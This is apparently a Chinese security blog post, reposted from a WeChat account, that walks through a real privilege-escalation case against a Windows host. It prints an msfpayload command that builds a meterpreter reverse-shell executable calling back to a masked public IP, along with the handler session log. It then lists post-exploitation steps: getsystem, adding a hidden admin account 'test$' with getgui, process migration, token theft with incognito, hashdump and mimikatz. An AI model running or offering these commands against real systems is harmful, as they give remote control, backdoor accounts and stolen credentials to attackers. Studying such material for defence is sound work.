所有话题标签: |
0x01 前言
0x02 实战提权过程
msfpayload windows/meterpreter/reverse_tcp lhost=1*3.2*1.*7.*7 lport=7777 X > /media/sf_系统学习/test.exe
注:这里提一下为什么我们生成载荷时填的公网IP,而在配置监听模块时填的内网IP?那是因为当时是用本地局域网的kali进行测试的,最后是用路由器的端口映射功能将Kali的7777端口映射出来的。
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.4
msf exploit(handler) > set LPORT 7777
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.1.4:7777
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 6*.7*.2*3.5*
[*] Meterpreter session 6 opened (192.168.1.4:7777 -> 6*.7*.2*3.5*:2446) at 2014-10-26
习惯性的先执行了下getsystem命令居然成功将权限提升至SYSTEM,接着测试了下其它命令,当我们测试到shell命令时发现虽然已经进入到命令终端了,但是依旧为zorroiwam_server普通权限。
通过Google搜索看到Hak5安全社区中有人也提到过类似问题,解决办法大概意思就是说我们需要先将当前会话的进程迁移至Admin/System权限运行的进程上去,然后才能有权限添加管理员用户。
-
https://forums.hak5.org/index.php?/topic/26576-adding-new-user-in-windows-from-a-meterpreter-shell/
Before meterpreter will drop into a shell with system privileges, it first has to migrate to a process with system privs. If you drop directly in like I was doing you'll have whatever privs the browser was running with.
After the migration to a process with sys/admin privs, if you drop into a shell you'll have sys privs.
目前因权限不够而暂时无法直接在命令终端添加管理员用户,那么还有什么方法可以添加管理员用户或者得到目标管理员的密码呢?这里笔者另外提供几种思路,仅供参考,1-2断开会话,3-5已成功!
(1) run getgui -u test$ -p 123456(添加管理员)
(2) migrate 3760(迁移到system运行的进程)
(3) use incognito(加载incognito扩展)
(4) hashdump(获取系统hash值并破解)
(5) 其它方法,如:mimikatz扩展、smart_hashdump模块等方法
本文始发于微信公众号(潇湘信安):记一次提权添加管理员实战案例
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论